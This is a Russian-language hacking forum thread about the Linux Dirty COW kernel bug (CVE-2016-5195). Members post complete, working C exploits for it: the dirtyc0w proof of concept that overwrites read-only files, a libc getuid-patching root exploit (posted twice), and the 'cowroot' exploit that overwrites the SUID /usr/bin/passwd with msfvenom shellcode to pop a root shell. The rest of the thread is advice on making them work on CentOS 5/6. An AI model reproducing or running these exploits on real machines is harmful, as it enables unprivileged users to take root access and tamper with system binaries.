Старый 21.10.2016, 12:07   #1
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию CVE-2016-5195 Dirty COW: privesc via MAP_PRIVATE COW

CVE-2016-5195 Dirty COW: privesc via MAP_PRIVATE COW

Помните эпичный баг в FreeBSD (CVE-2013-2171 FreeBSD 9.0+ Privilege escalation via mmap)?

В Линуксе нашли примерно то же самое. Баг столь же эпичен: существует примерно с 2007 года, и ему нипочем SMEP и SMAP.

poc не работает на rhel5/6.

Цитата:
Impact

An unprivileged local user could use this flaw to gain write access to otherwise read-only memory mappings and thus increase their privileges on the system.
This flaw allows an attacker with a local system account to modify on-disk binaries, bypassing the standard permission mechanisms that would prevent modification without an appropriate permission set.

How

The In The Wild exploit relied on writing to /proc/self/mem on one side of the race.
The In The Wild exploit relied on using ptrace.
The attack relies on racing the madvise(MADV_DONTNEED) system call while having the page of the executable mmapped in memory.
Патч.
https://bugzilla.redhat.com/show_bug.cgi?id=1384344

poc:
Код:
/*
####################### dirtyc0w.c #######################
$ sudo -s
# echo this is not a test > foo
# chmod 0404 foo
$ ls -lah foo
-r-----r-- 1 root root 19 Oct 20 15:23 foo
$ cat foo
this is not a test
$ gcc -lpthread dirtyc0w.c -o dirtyc0w
$ ./dirtyc0w foo m00000000000000000
mmap 56123000
madvise 0
procselfmem 1800000000
$ cat foo
m00000000000000000
####################### dirtyc0w.c #######################
*/
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
 
void *map;
int f;
struct stat st;
char *name;
 
void *madviseThread(void *arg)
{
  char *str;
  str=(char*)arg;
  int i,c=0;
  for(i=0;i<100000000;i++)
  {
/*
You have to race madvise(MADV_DONTNEED) :: https://access.redhat.com/security/vulnerabilities/2706661
> This is achieved by racing the madvise(MADV_DONTNEED) system call
> while having the page of the executable mmapped in memory.
*/
    c+=madvise(map,100,MADV_DONTNEED);
  }
  printf("madvise %d\n\n",c);
}
 
void *procselfmemThread(void *arg)
{
  char *str;
  str=(char*)arg;
/*
You have to write to /proc/self/mem :: https://bugzilla.redhat.com/show_bug.cgi?id=1384344#c16
>  The in the wild exploit we are aware of doesn't work on Red Hat
>  Enterprise Linux 5 and 6 out of the box because on one side of
>  the race it writes to /proc/self/mem, but /proc/self/mem is not
>  writable on Red Hat Enterprise Linux 5 and 6.
*/
  int f=open("/proc/self/mem",O_RDWR);
  int i,c=0;
  for(i=0;i<100000000;i++) {
/*
You have to reset the file pointer to the memory position.
*/
    lseek(f,map,SEEK_SET);
    c+=write(f,str,strlen(str));
  }
  printf("procselfmem %d\n\n", c);
}
 
 
int main(int argc,char *argv[])
{
/*
You have to pass two arguments. File and Contents.
*/
  if (argc<3)return 1;
  pthread_t pth1,pth2;
/*
You have to open the file in read only mode.
*/
  f=open(argv[1],O_RDONLY);
  fstat(f,&st);
  name=argv[1];
/*
You have to use MAP_PRIVATE for copy-on-write mapping.
> Create a private copy-on-write mapping.  Updates to the
> mapping are not visible to other processes mapping the same
> file, and are not carried through to the underlying file.  It
> is unspecified whether changes made to the file after the
> mmap() call are visible in the mapped region.
*/
/*
You have to open with PROT_READ.
*/
  map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);
  printf("mmap %x\n\n",map);
/*
You have to do it on two threads.
*/
  pthread_create(&pth1,NULL,madviseThread,argv[1]);
  pthread_create(&pth2,NULL,procselfmemThread,argv[2]);
/*
You have to wait for the threads to finish.
*/
  pthread_join(pth1,NULL);
  pthread_join(pth2,NULL);
  return 0;
}
SynQ вне форума   Ответить с цитированием
Старый 22.10.2016, 16:36   #2
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

https://twitter.com/nicowaisman/status/789499734700462080 тут я так понимаю показан рабочий для centos 6 ?
tex вне форума   Ответить с цитированием
Старый 22.10.2016, 19:11   #3
nicco
 
Регистрация: 01.01.2011
Сообщений: 45
Репутация: 3
По умолчанию

Код:
#define _GNU_SOURCE
#include <err.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/types.h>
 
 
#define SHELLCODE   "\x31\xc0\xc3"
#define SPACE_SIZE  256
#define LIBC_PATH   "/lib/x86_64-linux-gnu/libc.so.6"
#define LOOP        0x1000000
 
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
 
struct mem_arg  {
    struct stat st;
    off_t offset;
    unsigned long patch_addr;
    unsigned char *patch;
    unsigned char *unpatch;
    size_t patch_size;
    bool do_patch;
    void *map;
};
 
 
static int check(bool do_patch, const char *thread_name)
{
    uid_t uid;
 
    uid = getuid();
 
    if (do_patch) {
        if (uid == 0) {
            printf("[*] patched (%s)\n", thread_name);
            return 1;
        }
    } else {
        if (uid != 0) {
            printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name);
            return 1;
        }
    }
 
    return 0;
}
 
 
static void *madviseThread(void *arg)
{
    struct mem_arg *mem_arg;
    size_t size;
    void *addr;
    int i, c = 0;
 
    mem_arg = (struct mem_arg *)arg;
    addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1)));
    size = mem_arg->offset - (unsigned long)addr;
 
    for(i = 0; i < LOOP; i++) {
        c += madvise(addr, size, MADV_DONTNEED);
 
        if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
            break;
    }
 
    if (c == 0x1337)
        printf("[*] madvise = %d\n", c);
 
    return NULL;
}
 
static void *procselfmemThread(void *arg)
{
    struct mem_arg *mem_arg;
    int fd, i, c = 0;
    unsigned char *p;
 
    mem_arg = (struct mem_arg *)arg;
    p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;
 
    fd = open("/proc/self/mem", O_RDWR);
    if (fd == -1)
        err(1, "open(\"/proc/self/mem\"");
 
    for (i = 0; i < LOOP; i++) {
        lseek(fd, mem_arg->offset, SEEK_SET);
        c += write(fd, p, mem_arg->patch_size);
 
        if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
            break;
    }
 
    if (c == 0x1337)
        printf("[*] /proc/self/mem %d\n", c);
 
    close(fd);
 
    return NULL;
}
 
static int get_range(unsigned long *start, unsigned long *end)
{
    char line[4096];
    char filename[PATH_MAX];
    char flags[32];
    FILE *fp;
    int ret;
 
    ret = -1;
 
    fp = fopen("/proc/self/maps", "r");
    if (fp == NULL)
        err(1, "fopen(\"/proc/self/maps\")");
 
    while (fgets(line, sizeof(line), fp) != NULL) {
        sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
 
        if (strstr(flags, "r-xp") == NULL)
            continue;
 
        if (strstr(filename, "/libc-") == NULL)
            continue;
        //printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);
        ret = 0;
        break;
    }
 
    fclose(fp);
 
    return ret;
}
 
static void getroot(void)
{
    execlp("su", "su", NULL);
    err(1, "failed to execute \"su\"");
}
 
static void exploit(struct mem_arg *mem_arg, bool do_patch)
{
    pthread_t pth1, pth2;
 
    printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch");
 
    mem_arg->do_patch = do_patch;
 
    pthread_create(&pth1, NULL, madviseThread, mem_arg);
    pthread_create(&pth2, NULL, procselfmemThread, mem_arg);
 
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
}
 
static unsigned long get_getuid_addr(void)
{
    unsigned long addr;
    void *handle;
    char *error;
 
    dlerror();
 
    handle = dlopen("libc.so.6", RTLD_LAZY);
    if (handle == NULL) {
        fprintf(stderr, "%s\n", dlerror());
        exit(EXIT_FAILURE);
    }
 
    addr = (unsigned long)dlsym(handle, "getuid");
    error = dlerror();
    if (error != NULL) {
        fprintf(stderr, "%s\n", error);
        exit(EXIT_FAILURE);
    }
 
    dlclose(handle);
 
    return addr;
}
 
int main(int argc, char *argv[])
{
    unsigned long start, end;
    unsigned long getuid_addr;
    struct mem_arg mem_arg;
    struct stat st;
    pid_t pid;
    int fd;
 
    if (get_range(&start, &end) != 0)
        errx(1, "failed to get range");
 
    printf("[*] range: %lx-%lx]\n", start, end);
 
    getuid_addr = get_getuid_addr();
    printf("[*] getuid = %lx\n", getuid_addr);
 
    mem_arg.patch = malloc(sizeof(SHELLCODE)-1);
    if (mem_arg.patch == NULL)
        err(1, "malloc");
 
    mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1);
    if (mem_arg.unpatch == NULL)
        err(1, "malloc");
 
    memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1);
    memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1);
    mem_arg.patch_size = sizeof(SHELLCODE)-1;
    mem_arg.do_patch = true;
 
    fd = open(LIBC_PATH, O_RDONLY);
    if (fd == -1)
        err(1, "open(\"" LIBC_PATH "\")");
    if (fstat(fd, &st) == -1)
        err(1, "fstat");
 
    mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    if (mem_arg.map == MAP_FAILED)
        err(1, "mmap");
    close(fd);
 
    printf("[*] mmap %p\n", mem_arg.map);
 
    mem_arg.st = st;
    mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start);
 
    exploit(&mem_arg, true);
 
    pid = fork();
    if (pid == -1)
        err(1, "fork");
 
    if (pid == 0) {
        getroot();
    } else {
        sleep(2);
        exploit(&mem_arg, false);
        if (waitpid(pid, NULL, 0) == -1)
            warn("waitpid");
    }
 
    return 0;
}
gcc -ldl -lpthread
nicco вне форума   Ответить с цитированием
Старый 23.10.2016, 11:13   #4
vp$
 
Аватар для vp$
 
Регистрация: 13.07.2010
Сообщений: 70
Репутация: 8
По умолчанию

Linux 3.2.0-4-amd64 #1 SMP Debian 3.2.73-2 x86_64
Linux ubuntu 3.5.0-27-generic #46~precise1-Ubuntu SMP Tue Mar 26 19:33:21 UTC 2013 x86_64

Код:
/*
* (un)comment correct payload first (x86 or x64)!
* 
* $ gcc cowroot.c -o cowroot -pthread
* $ ./cowroot
* DirtyCow root privilege escalation
* Backing up /usr/bin/passwd.. to /tmp/bak
* Size of binary: 57048
* Racing, this may take a while..
* /usr/bin/passwd overwritten
* Popping root shell.
* Don't forget to restore /tmp/bak
* thread stopped
* thread stopped
* root@box:/root/cow# id
* uid=0(root) gid=1000(foo) groups=1000(foo)
*
* @robinverton 
*/

#include <stdio.h>
#include <stdlib.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <string.h>
#include <unistd.h>

void *map;
int f;
int stop = 0;
struct stat st;
char *name;
pthread_t pth1,pth2,pth3;

// change if no permissions to read
char suid_binary[] = "/usr/bin/passwd";

/*
* $ msfvenom -p linux/x64/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
*/ 
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x02, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x3e, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x78, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x38, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00, 0x00, 0x00,
  0xb1, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xea, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x48, 0x31, 0xff, 0x6a, 0x69, 0x58, 0x0f, 0x05, 0x6a, 0x3b, 0x58, 0x99,
  0x48, 0xbb, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x73, 0x68, 0x00, 0x53, 0x48,
  0x89, 0xe7, 0x68, 0x2d, 0x63, 0x00, 0x00, 0x48, 0x89, 0xe6, 0x52, 0xe8,
  0x0a, 0x00, 0x00, 0x00, 0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73,
  0x68, 0x00, 0x56, 0x57, 0x48, 0x89, 0xe6, 0x0f, 0x05
};
unsigned int sc_len = 177;

/*
* $ msfvenom -p linux/x86/exec CMD=/bin/bash PrependSetuid=True -f elf | xxd -i
unsigned char sc[] = {
  0x7f, 0x45, 0x4c, 0x46, 0x01, 0x01, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x02, 0x00, 0x03, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x54, 0x80, 0x04, 0x08, 0x34, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x34, 0x00, 0x20, 0x00, 0x01, 0x00, 0x00, 0x00,
  0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
  0x00, 0x80, 0x04, 0x08, 0x00, 0x80, 0x04, 0x08, 0x88, 0x00, 0x00, 0x00,
  0xbc, 0x00, 0x00, 0x00, 0x07, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00,
  0x31, 0xdb, 0x6a, 0x17, 0x58, 0xcd, 0x80, 0x6a, 0x0b, 0x58, 0x99, 0x52,
  0x66, 0x68, 0x2d, 0x63, 0x89, 0xe7, 0x68, 0x2f, 0x73, 0x68, 0x00, 0x68,
  0x2f, 0x62, 0x69, 0x6e, 0x89, 0xe3, 0x52, 0xe8, 0x0a, 0x00, 0x00, 0x00,
  0x2f, 0x62, 0x69, 0x6e, 0x2f, 0x62, 0x61, 0x73, 0x68, 0x00, 0x57, 0x53,
  0x89, 0xe1, 0xcd, 0x80
};
unsigned int sc_len = 136;
*/

void *madviseThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        c+=madvise(map,100,MADV_DONTNEED);
    }
    printf("thread stopped\n");
}

void *procselfmemThread(void *arg)
{
    char *str;
    str=(char*)arg;
    int f=open("/proc/self/mem",O_RDWR);
    int i,c=0;
    for(i=0;i<1000000 && !stop;i++) {
        lseek(f,map,SEEK_SET);
        c+=write(f, str, sc_len);
    }
    printf("thread stopped\n");
}

void *waitForWrite(void *arg) {
    char buf[sc_len];

    for(;;) {
        FILE *fp = fopen(suid_binary, "rb");

        fread(buf, sc_len, 1, fp);

        if(memcmp(buf, sc, sc_len) == 0) {
            printf("%s overwritten\n", suid_binary);
            break;
        }

        fclose(fp);
        sleep(1);
    }

    stop = 1;

    printf("Popping root shell.\n");
    printf("Don't forget to restore /tmp/bak\n");

    system(suid_binary);
}

int main(int argc,char *argv[]) {
    char *backup;

    printf("DirtyCow root privilege escalation\n");
    printf("Backing up %s to /tmp/bak\n", suid_binary);

    asprintf(&backup, "cp %s /tmp/bak", suid_binary);
    system(backup);

    f = open(suid_binary,O_RDONLY);
    fstat(f,&st);

    printf("Size of binary: %d\n", st.st_size);

    char payload[st.st_size];
    memset(payload, 0x90, st.st_size);
    memcpy(payload, sc, sc_len+1);

    map = mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

    printf("Racing, this may take a while..\n");

    pthread_create(&pth1, NULL, &madviseThread, suid_binary);
    pthread_create(&pth2, NULL, &procselfmemThread, payload);
    pthread_create(&pth3, NULL, &waitForWrite, NULL);

    pthread_join(pth3, NULL);

    return 0;
}
vp$ вне форума   Ответить с цитированием
Старый 24.10.2016, 01:31   #5
lotos
 
Регистрация: 10.10.2015
Сообщений: 13
Репутация: 0
По умолчанию

Цитата:
Сообщение от nicco Посмотреть сообщение
Код:
#define _GNU_SOURCE
#include <err.h>
#include <dlfcn.h>
#include <stdio.h>
#include <fcntl.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <limits.h>
#include <pthread.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/stat.h>
#include <sys/user.h>
#include <sys/wait.h>
#include <sys/types.h>
 
 
#define SHELLCODE   "\x31\xc0\xc3"
#define SPACE_SIZE  256
#define LIBC_PATH   "/lib/x86_64-linux-gnu/libc.so.6"
#define LOOP        0x1000000
 
#ifndef PAGE_SIZE
#define PAGE_SIZE 4096
#endif
 
struct mem_arg  {
    struct stat st;
    off_t offset;
    unsigned long patch_addr;
    unsigned char *patch;
    unsigned char *unpatch;
    size_t patch_size;
    bool do_patch;
    void *map;
};
 
 
static int check(bool do_patch, const char *thread_name)
{
    uid_t uid;
 
    uid = getuid();
 
    if (do_patch) {
        if (uid == 0) {
            printf("[*] patched (%s)\n", thread_name);
            return 1;
        }
    } else {
        if (uid != 0) {
            printf("[*] unpatched: uid=%d (%s)\n", uid, thread_name);
            return 1;
        }
    }
 
    return 0;
}
 
 
static void *madviseThread(void *arg)
{
    struct mem_arg *mem_arg;
    size_t size;
    void *addr;
    int i, c = 0;
 
    mem_arg = (struct mem_arg *)arg;
    addr = (void *)(mem_arg->offset & (~(PAGE_SIZE - 1)));
    size = mem_arg->offset - (unsigned long)addr;
 
    for(i = 0; i < LOOP; i++) {
        c += madvise(addr, size, MADV_DONTNEED);
 
        if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
            break;
    }
 
    if (c == 0x1337)
        printf("[*] madvise = %d\n", c);
 
    return NULL;
}
 
static void *procselfmemThread(void *arg)
{
    struct mem_arg *mem_arg;
    int fd, i, c = 0;
    unsigned char *p;
 
    mem_arg = (struct mem_arg *)arg;
    p = mem_arg->do_patch ? mem_arg->patch : mem_arg->unpatch;
 
    fd = open("/proc/self/mem", O_RDWR);
    if (fd == -1)
        err(1, "open(\"/proc/self/mem\"");
 
    for (i = 0; i < LOOP; i++) {
        lseek(fd, mem_arg->offset, SEEK_SET);
        c += write(fd, p, mem_arg->patch_size);
 
        if (i % 0x1000 == 0 && check(mem_arg->do_patch, __func__))
            break;
    }
 
    if (c == 0x1337)
        printf("[*] /proc/self/mem %d\n", c);
 
    close(fd);
 
    return NULL;
}
 
static int get_range(unsigned long *start, unsigned long *end)
{
    char line[4096];
    char filename[PATH_MAX];
    char flags[32];
    FILE *fp;
    int ret;
 
    ret = -1;
 
    fp = fopen("/proc/self/maps", "r");
    if (fp == NULL)
        err(1, "fopen(\"/proc/self/maps\")");
 
    while (fgets(line, sizeof(line), fp) != NULL) {
        sscanf(line, "%lx-%lx %s %*Lx %*x:%*x %*Lu %s", start, end, flags, filename);
 
        if (strstr(flags, "r-xp") == NULL)
            continue;
 
        if (strstr(filename, "/libc-") == NULL)
            continue;
        //printf("[%lx-%6lx][%s][%s]\n", start, end, flags, filename);
        ret = 0;
        break;
    }
 
    fclose(fp);
 
    return ret;
}
 
static void getroot(void)
{
    execlp("su", "su", NULL);
    err(1, "failed to execute \"su\"");
}
 
static void exploit(struct mem_arg *mem_arg, bool do_patch)
{
    pthread_t pth1, pth2;
 
    printf("[*] exploiting (%s)\n", do_patch ? "patch": "unpatch");
 
    mem_arg->do_patch = do_patch;
 
    pthread_create(&pth1, NULL, madviseThread, mem_arg);
    pthread_create(&pth2, NULL, procselfmemThread, mem_arg);
 
    pthread_join(pth1, NULL);
    pthread_join(pth2, NULL);
}
 
static unsigned long get_getuid_addr(void)
{
    unsigned long addr;
    void *handle;
    char *error;
 
    dlerror();
 
    handle = dlopen("libc.so.6", RTLD_LAZY);
    if (handle == NULL) {
        fprintf(stderr, "%s\n", dlerror());
        exit(EXIT_FAILURE);
    }
 
    addr = (unsigned long)dlsym(handle, "getuid");
    error = dlerror();
    if (error != NULL) {
        fprintf(stderr, "%s\n", error);
        exit(EXIT_FAILURE);
    }
 
    dlclose(handle);
 
    return addr;
}
 
int main(int argc, char *argv[])
{
    unsigned long start, end;
    unsigned long getuid_addr;
    struct mem_arg mem_arg;
    struct stat st;
    pid_t pid;
    int fd;
 
    if (get_range(&start, &end) != 0)
        errx(1, "failed to get range");
 
    printf("[*] range: %lx-%lx]\n", start, end);
 
    getuid_addr = get_getuid_addr();
    printf("[*] getuid = %lx\n", getuid_addr);
 
    mem_arg.patch = malloc(sizeof(SHELLCODE)-1);
    if (mem_arg.patch == NULL)
        err(1, "malloc");
 
    mem_arg.unpatch = malloc(sizeof(SHELLCODE)-1);
    if (mem_arg.unpatch == NULL)
        err(1, "malloc");
 
    memcpy(mem_arg.unpatch, (void *)getuid_addr, sizeof(SHELLCODE)-1);
    memcpy(mem_arg.patch, SHELLCODE, sizeof(SHELLCODE)-1);
    mem_arg.patch_size = sizeof(SHELLCODE)-1;
    mem_arg.do_patch = true;
 
    fd = open(LIBC_PATH, O_RDONLY);
    if (fd == -1)
        err(1, "open(\"" LIBC_PATH "\")");
    if (fstat(fd, &st) == -1)
        err(1, "fstat");
 
    mem_arg.map = mmap(NULL, st.st_size, PROT_READ, MAP_PRIVATE, fd, 0);
    if (mem_arg.map == MAP_FAILED)
        err(1, "mmap");
    close(fd);
 
    printf("[*] mmap %p\n", mem_arg.map);
 
    mem_arg.st = st;
    mem_arg.offset = (off_t)((unsigned long)mem_arg.map + getuid_addr - start);
 
    exploit(&mem_arg, true);
 
    pid = fork();
    if (pid == -1)
        err(1, "fork");
 
    if (pid == 0) {
        getroot();
    } else {
        sleep(2);
        exploit(&mem_arg, false);
        if (waitpid(pid, NULL, 0) == -1)
            warn("waitpid");
    }
 
    return 0;
}
gcc -ldl -lpthread
кроме этого сплоита , на 5 и 6 центосе у кого нить другие сработали ?
lotos вне форума   Ответить с цитированием
Старый 24.10.2016, 14:27   #6
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

lotos
Вот этот должен работать, плюс не завесит машину:
https://github.com/scumjr/dirtycow-vdso
SynQ вне форума   Ответить с цитированием
Старый 24.10.2016, 22:05   #7
Acez666
 
Аватар для Acez666
 
Регистрация: 13.12.2010
Сообщений: 10
Репутация: 1
По умолчанию

poc не работает на rhel5/6.
=a 4Ю шапку ебашит?
__________________
Hacking (Глубоко. Технично. С удовольствием)
https://twitter.com/acetoacidophil
=====================================
Acez666 вне форума   Ответить с цитированием
Старый 25.10.2016, 12:09   #8
SynQ
 
Регистрация: 11.07.2010
Сообщений: 953
Репутация: 352
По умолчанию

Баг появился примерно в 2.6.22. Не думаю, что в 2.6.18 его бэкпортировали.
SynQ вне форума   Ответить с цитированием
Старый 25.10.2016, 16:42   #9
Ravenous
 
Аватар для Ravenous
 
Регистрация: 14.07.2012
Сообщений: 64
Репутация: 1
По умолчанию

SynQ, эксплоит в посте nicco только под x64 версию? судя по
Цитата:
#define LIBC_PATH "/lib/x86_64-linux-gnu/libc.so.6"
или можно заменить путь на /lib/libc.so.6 ?

CentOS 6.3
Linux localhost 2.6.32-279.el6.i686 #1 SMP Fri Jun 22 10:59:55 UTC 2012 i686 i686 i386 GNU/Linux virtualbox

upd: изменил путь и повисло на

Цитата:
[user@localhost ~]$ ./ex1
[*] range: 15e000-2ef000]
[*] getuid = 2006c0
[*] mmap 0xb76f2000
[*] exploiting (patch)
2. Эксплоит в посте vps

Цитата:
[user@localhost ~]$ gcc -pthread -o ex2 ex2.c
ex2.c: In function ‘procselfmemThread’:
ex2.c:100: warning: passing argument 2 of ‘lseek’ makes integer from pointer without a cast
/usr/include/unistd.h:331: note: expected ‘__off_t’ but argument is of type ‘void *’
Повисло вроде rhel все равно не берет
Цитата:
[user@localhost ~]$ ./ex2
DirtyCow root privilege escalation
Backing up /usr/bin/passwd to /tmp/bak
Size of binary: 25980
Racing, this may take a while..
thread stopped
thread stopped
^C
3.
Цитата:
Вот этот должен работать, плюс не завесит машину:
https://github.com/scumjr/dirtycow-vdso
Потребовалось предварительно поставить пакеты nasm,vim-common
и вот(((

Цитата:
[user@localhost d]$ make
xxd -i payload payload.h
cc -o 0xdeadbeef.o -c 0xdeadbeef.c -Wall
0xdeadbeef.c:18:22: error: sys/auxv.h: No such file or directory
0xdeadbeef.c:41: error: conflicting types for ‘uint64_t’
/usr/include/stdint.h:59: note: previous declaration of ‘uint64_t’ was here
0xdeadbeef.c: In function ‘get_vdso_addr’:
0xdeadbeef.c:102: warning: implicit declaration of function ‘getauxval’
0xdeadbeef.c:102: error: ‘AT_SYSINFO_EHDR’ undeclared (first use in this function)
0xdeadbeef.c:102: error: (Each undeclared identifier is reported only once
0xdeadbeef.c:102: error: for each function it appears in.)
0xdeadbeef.c: In function ‘exploit_helper’:
0xdeadbeef.c:374: warning: format ‘%ld’ expects type ‘long int’, but argument 5 has type ‘unsigned int’
make: *** [0xdeadbeef.o] Error 1

Последний раз редактировалось Ravenous; 30.10.2016 в 21:15..
Ravenous вне форума   Ответить с цитированием
Старый 25.10.2016, 18:32   #10
tex
 
Регистрация: 26.12.2010
Сообщений: 135
Репутация: 41
По умолчанию

Цитата:
Сообщение от Ravenous Посмотреть сообщение
SynQ, эксплоит в посте nicco только под x64 версию? судя по
или можно заменить путь на /lib/libc.so.6 ?
уязвимость заключается в том, насколько я понял, что можно не обладая правами на файл переписать его произвольным содержимым, эксплоит vps просто переписывает суидный бинарник passwd, соответственно проблемы в архитектуре нет.
tex вне форума   Ответить с цитированием
Ответ

Метки
linux, privilege escalation

Опции темы Поиск в этой теме
Поиск в этой теме:

Расширенный поиск
Опции просмотра

Ваши права в разделе
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения

BB коды Вкл.
Смайлы Вкл.
[IMG] код Вкл.
HTML код Выкл.

Быстрый переход



Powered by vBulletin® Version 3.8.5
Copyright ©2000 - 2019, Jelsoft Enterprises Ltd. Перевод: zCarot